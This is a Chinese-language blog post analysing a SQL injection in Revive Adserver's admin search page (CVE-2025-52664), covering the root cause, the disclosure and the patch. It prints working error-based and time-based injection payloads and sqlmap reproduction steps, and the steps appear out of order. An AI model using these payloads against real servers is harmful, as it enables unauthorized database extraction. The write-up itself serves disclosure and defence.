首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >Revive Adserver SQL注入漏洞分析:关键词参数引发的数据库安全风险

Revive Adserver SQL注入漏洞分析:关键词参数引发的数据库安全风险

原创
作者头像
qife122
发布2025-11-05 20:24:20
发布2025-11-05 20:24:20
1710
举报

Revive Adserver SQL注入漏洞技术分析

漏洞概述

在Revive Adserver的管理搜索功能中发现了一个严重的SQL注入漏洞,具体位于admin-search.php文件中。该漏洞存在于keyword GET参数的处理过程中,该参数被传递给多个数据库查询,但缺乏适当的清理或参数化处理。

漏洞根源

漏洞源于使用phpAds_registerGlobalUnslashed()函数注册用户输入变量(包括keyword),但未进行适当的转义:

代码语言:php
复制
phpAds_registerGlobalUnslashed('keyword', 'client', 'campaign', 'banner', 'zone', 'affiliate', 'compact');

随后,这些用户控制的输入被直接传递给多个数据库查询函数:

代码语言:php
复制
$rsClients = $dalClients->getClientByKeyword($keyword, $agencyId);
$rsCampaigns = $dalCampaigns->getCampaignAndClientByKeyword($keyword, $agencyId);
$rsBanners = $dalBanners->getBannerByKeyword($keyword, $agencyId);
$rsAffiliates = $dalAffiliates->getAffiliateByKeyword($keyword, $agencyId);
$rsZones = $dalZones->getZoneByKeyword($keyword, $agencyId);

即使不检查这些函数的实现,也能明显看出它们在将keyword参数纳入SQL查询之前没有进行适当的清理,从而导致SQL注入。

技术分析

使用SQLMap测试确认了两种不同的SQL注入漏洞:

  1. 基于错误的注入(使用MySQL的EXTRACTVALUE函数):Payload: keyword=FUZZ') AND EXTRACTVALUE(8429,CONCAT(0x5c,0x716a7a6a71,(SELECT (ELT(8429=8429,1))),0x7178787871))-- Nqvq&compact=t
  2. 基于时间的盲注(使用MySQL的SLEEP函数):Payload: keyword=FUZZ') AND (SELECT 3790 FROM (SELECT(SLEEP(5)))yGYJ)-- YFDA&compact=t

复现步骤

  1. 打开Burp Suite并使用其内置浏览器sqlmap -r testsql.txt --dbs您将看到数据库被提取出来
  2. 访问以下请求:http://localhost/www/admin/admin-search.php?keyword=FUZZ&compact=t
  3. 使用Burp Suite捕获请求
  4. 使用nano testsql.txt将请求保存到文本文件
  5. 运行以下命令:

影响范围

此漏洞允许经过身份验证的攻击者:

  • 从数据库中提取敏感信息
  • 修改或删除数据库内容
  • 可能在数据库服务器上执行特权命令
  • 通过数据泄露可能升级到更严重的攻击向量

SQLMap测试成功识别了数据库名称,并确认能够通过易受攻击的参数执行任意SQL查询。

根本原因

根本原因是输入验证不当,以及缺乏预处理语句或参数化查询。应用程序直接将用户控制的输入纳入SQL查询,而没有足够的清理或转义机制。

这是Revive Adserver源代码中的一个基本代码缺陷,而不是配置错误的结果。

修复过程

开发团队确认了该漏洞,并提供了一个临时修复补丁。实际上,该漏洞存在于未维护的PEAR MDB2包中,特别是在matchPattern功能中,该功能以错误的顺序应用不同类型的转义,导致字符串转义不当。

团队计划发布6.0.1版本,并请求CVE-ID(CVE-2025-52664),在发布后不久披露报告并发布安全公告。

漏洞状态

  • 严重程度:高(8.8)
  • 状态:已解决
  • CVE ID:CVE-2025-52664
  • 弱点类型:SQL注入

经过测试,修复补丁成功缓解了SQL注入漏洞,同时保持了所有搜索功能,查询正常工作且没有错误,输入清理功能正确处理用户输入。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • Revive Adserver SQL注入漏洞技术分析
    • 漏洞概述
    • 漏洞根源
    • 技术分析
    • 复现步骤
    • 影响范围
    • 根本原因
    • 修复过程
    • 漏洞状态
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档